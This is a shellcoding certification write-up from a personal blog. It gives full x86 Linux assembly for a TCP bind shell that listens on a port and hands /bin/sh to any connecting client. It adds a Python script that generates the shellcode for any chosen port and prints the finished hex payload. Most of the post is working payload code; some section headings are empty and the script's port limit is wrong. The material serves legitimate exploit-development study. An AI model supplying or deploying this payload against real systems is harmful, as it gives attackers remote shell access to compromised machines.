SLAE: 0x1 Tcp bind shellcode

Sun 02 April 2017

While working on the OSCE certification I took the SLAE course from securitytube as it's an excellent introduction to shellcoding and writing custom encoders / crypters. The exam format requires you to complete 7 assignments and do a write up to post online on a personal blog. The next 7 blogposts will be accompanied with code that's available on my github here.

0x1 Requirements:

Write linux 32 bit shellcode that does the following:

0x1 Demo : putting it all together

0x3 Code walkthrough

Tcp bind shellcode can be split up into 4 major actions ( syscalls ):

I decided to comment inline as much as I tought necessary and split the logic blocks up by using labels in the assembly code. The calls itself are straightforward, with the added remark that on 32 bit systems the socket calls go through the 'parent' socketcall syscall. Which requires that the parameters for the 'child' call need to be passed as an pointer to an argument list in ecx.

shellcode

; Filename: tcp_bind_shell.nasm
; Author:  Plaix
; Website:  http://slacklabs.be
;
; Purpose: 
; Bind on configurable port and spawns /bin/sh upon connect

; Compile:
; --------
;
; nasm -f elf32 -o tcp_bind_shell.o portbind.nasm
; ld -o tcp_bind_shell portbind.o




global _start           

section .text
_start:
    ; set up socket ( 0x66 ) , save FD
    ; socketcall syscall 102
    ; int socketcall(int call, unsigned long *args)
    ;    call= ebx 
        ;   0x01 = SYS_SOCKET
    ;   defined in linux/net.h
    ;   long *args = socket call
    ; int socket(int domain, int type, int protocol);
    ;            PF_INET=2,SOCK_STREAM=1,0

    ; clear out the regs
    xor ecx,ecx
    mul ecx

_socket:
    mov byte al,0x66 ; 102
    inc ebx ; 0x01 SYS_SOCKET
    push ecx ; 0x00 = int protocol of socket args list
    push byte 0x01 ; 0x01 = int type = SOCK_STREAM
    push byte 0x02 ; = int domain = AF_INET
    mov ecx,esp
    int 0x80    
    ; save fd
    xchg esi,eax

_bind:  
    ; http://man7.org/linux/man-pages/man2/bind.2.html
    ; int socketcall(int call, unsigned long *args)
    ; call = 0x02 
    ; int bind(int sockfd, const struct sockaddr *addr,
    ;                socklen_t addrlen);    
    pop ebx ; 0x02 int call > bind 

    ; create struct sockaddr    
    push edx ; 0x0
    ; use port 4567
    ; TCP/IP works on big endian order
    ; least significant bit to the right
    ; this will push the 2 byte portnumber and the following 
    ; push word bx will push 2 bytes on the stack
    ; making the dword to be used in the struct for port
    ; 3905000002 
    push word 0xd711 ; port 4567

    push word bx ; AF_INET = 2 
    mov ecx,esp ; save pointer

    push byte 0x10 ; addrlen = 16
    push ecx ; struct sockaddr
    push esi ; sockfd
    mov ecx,esp ; save pointer to bind argument lists
    push byte 0x66 ; 102 socket syscall
    pop eax
    int 0x80


_listen:    

    ; int socketcall(int call, unsigned long *args)
    ; call = 0x04
    inc ebx
    inc ebx
    ;int listen(int sockfd, int backlog);
    push edx ; 0x0
    push esi ; socketfd
    mov ecx,esp
    mov byte al,0x66 ; 102 socket syscall
    int 0x80

_accept:

    ; int socketcall(int call, unsigned long *args)
    ; call = 0x05
    inc ebx
    ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; esi , 0 , 0 
    push edx ; 0x0
    push edx ; 0x0
    push esi ; sockfd
    mov ecx,esp
    mov byte al,0x66 ; 102 socket syscall
    int 0x80



_dup2:
    ; duplicate stdErr(2),stdOut(1) and stdIn(0) so the socket can interact with execve spawned binary later on
    ; int dup2(int oldfd, int newfd); 
    ; ecx is prepped to loop and decrease by one until signed flag is set
    ; this will be set if ecx goes to -1 and allows us to loop past 0

    ; stack contains 0x3 at this point = socketFD, change if needed
    pop ecx  
    dec ecx
    xchg ebx,eax ; sockFD of new client socket! Result of accept call
loop:
    mov byte al,0x3f ; dup2 syscall
    int 0x80
    dec ecx
    jns loop


_execve:

    ;int execve(const char *filename, char *const argv[], char *const envp[]);
    ; execve ("/bin/sh", ["/bin/sh", "-i"], 0);
    cltd
    push edx


    ; //bin/sh
    push 0x68732f6e
    push 0x69622f2f
    mov ebx, esp
    ;push edx

    ; param -i
    ;push word 0x692d
    mov ecx, esp

    push edx
    ;push ecx
    push ebx
    mov ecx, esp
    mov byte al,0xb
    int 0x80

0x4 Automation

To fulfill the last requirement of this assignment I made a quick generator script in python that takes the port number as an argument and generates the customized shellcode

#!/usr/bin/python

'''

; Filename: generate_tcpbind.py
; Author:  Plaix
; Website:  http://slacklabs.be
;
; Purpose: 
    Generates a x86 linux tcp bind shell on a configurable port and runs 
    /bin/sh on connect

'''

import sys
pre_sh="\\x31\\xc9\\xf7\\xe1\\xb0\\x66\\x43\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x96\\x5b\\x52\\x66\\x68"
post_sh="\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x43\\x43\\x52\\x56\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x43\\x52\\x52\\x56\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x59\\x49\\x93\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x89\\xe1\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
#Printing hex output with len 99

def check_for_badchars(bclist,shellcode):
    '''
    returns false if badchars are found in resulting shellcode
    '''
    bclist=bytearray(bclist.decode('string_escape'))
    for x in bytearray(bclist):
        result=bytearray(shellcode).find(bytearray(chr(x)))
        if result != -1:
            return True
    # We're golden
    return False

def generate_shellcode(port):

    if(port > 65356):
        print ("[+] Port number %s is above limit of 65356, exiting!!" % port)
        return -1
    if(port < 1024 ):
        print ("[+] Port number %s requires root permissions!!" % port)

    port=format(port,"#02x")[2:]
    if len(port) < 4:
        port="0"+str(port)
    port="\\x"+port[:2]+"\\x"+port[2:4]    
    print ("[+] Port converted to hex:\t%s" % port)

    return pre_sh+port+post_sh

if __name__ == '__main__':

    if len(sys.argv) < 2:
        print("Need a port as argument")
        print("Usage:\t %s <port|4444>" % sys.argv[0])
    else:
        print("[+] Using port %s" % sys.argv[1])
        result=generate_shellcode(int(sys.argv[1]))
        if(result==-1):
            print("[+] Shellcode generating failed!!")
        else:
            print("[+] Shellcode length:\t%i" % (len(result)/4))
            print("[+] Shellcode :\n%s\n" % result)
plaix@SLAE:~/code/SLAE/exam/0x1_bind_tcp$ python generate_tcpbind.py 4567
[+] Using port 4567
[+] Port converted to hex:      \x11\xd7
[+] Shellcode length:   91
[+] Shellcode :
\x31\xc9\xf7\xe1\xb0\x66\x43\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x5b\x52\x66\x68\x11\xd7\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43\x52\x56\x89\xe1\xb0\x66\xcd\x80\x43\x52\x52\x56\x89\xe1\xb0\x66\xcd\x80\x59\x49\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xe1\x52\x53\x89\xe1\xb0\x0b\xcd\x80

plaix@SLAE:~/code/SLAE/exam/0x1_bind_tcp$

0x0 Resources used:

Sysgrok: http://syscalls.kernelgrok.com/

Linux man pages: http://man7.org/linux/man-pages/index.html

shellstorm.org: http://shell-storm.org/shellcode/

exploit-db.com: https://www.exploit-db.com/shellcode/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE - 827